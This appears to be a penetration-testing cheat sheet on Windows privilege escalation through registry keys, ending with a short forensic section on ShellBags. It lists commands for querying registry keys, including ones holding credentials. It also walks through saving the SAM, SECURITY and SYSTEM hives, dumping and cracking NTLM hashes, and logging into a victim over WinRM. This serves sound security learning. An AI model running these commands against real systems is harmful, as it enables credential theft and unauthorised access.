Windows PrivEsc with Registry Keys
Last modified: 2024-12-06
The Windows Registry is a hierarchical database that stores low-level settings for Windows and for applications that opt to use the registry. Registry keys are container objects, which contain values and subkeys. These similar to folders.
Investigation
Find interesting registry or values in registry keys.
# OS Version
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
# User credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# Computer Name
reg query "HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName"
# Time Zone
reg query "HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"
# Network Interface
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"
# Connected Networks
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList"
# Autoruns
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce"
# SAM user information
reg query "HKLM\SAM\Domains\Account\Users"
reg query "HKCU\SAM\Domains\Account\Users"
# External Devices
reg query "HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR"
reg query "HKLM\SYSTEM\CurrentControlSet\Enum\USB"
Location of Registry Hives
Registry hives (SAM, SECURITY, SYSTEM) are located under C:\Windows\System32\Config folder.
Reveal Password from Registry Hives
A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started or a user logs in.
If the current user has SeBackupPrivilege or can access to registry hives, the password hashes can be dumped.
Copy three hives (SAM, SECURITY, SYSTEM) to arbitrary direcotyr where we can access.
# save: Saves a copy of specified subkeys, entries, and values of the registry in a specified file.
# HKLM: HKEY_LOCAL_MACHINE
reg save HKLM\sam c:\Users\<user>\Desktop\sam.save
reg save HKLM\security c:\Users\<user>\Desktop\security.save # this is optional
reg save HKLM\system c:\Users\<user>\Desktop\system.save
After that, we can dump password hashes from hives.
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
# or without security hive
impacket-secretsdump -sam sam.save -system system.save LOCAL
Crack Hashes
After dumping hashes, we can crack them.
First, we extract NTLM from the hash. For example, the dumped hash is below.
Administrator:500:abcdefghi...:zyxwvuts...:::
We need only the right string "zyxwvuts…", so extract it to a text file as below.
echo -n "zyxwvuts..." > hash.txt
Now crack it using Hashcat or John The Ripper.
See more details here.
# Hashcat
# -m 1000: mode NTLM
hashcat -m 1000 hash.txt wordlist.txt
# John The Ripper
john --format=nt --wordlist=wordlist.txt hash.txt
If we get the password, we can use it for abusing the target machine.
For example, we can use it to WinRM as below.
evil-winrm -i <victim_ip> -u <victim_username> -p <victim_password>
ShellBags
A set of registry keys that store details about a viewed folder, such as its size, position, and icon.
Location
c:\Users\<username>\AppData\Local\Microsoft\Windows\UsrClass.dat
If we cannot found AppData folder in Explorer, click "View" tab and check "Hidden Items".
Access to Shellbag**
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Search "regedit" on search bar and open "Registry Editor"
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Go to "Computer\HKEY_CLASSES_ROOT\LocalSettings\Software\Microsoft\Windows\Shell\Bags"
ShellBags Explorer
Extract ShellBags information.
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Open "ShellBags Explorer"
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Select "File" -> "Load offline hive"
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Navigate to the UsrClass.dat and open the file
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Find suspicious folder and file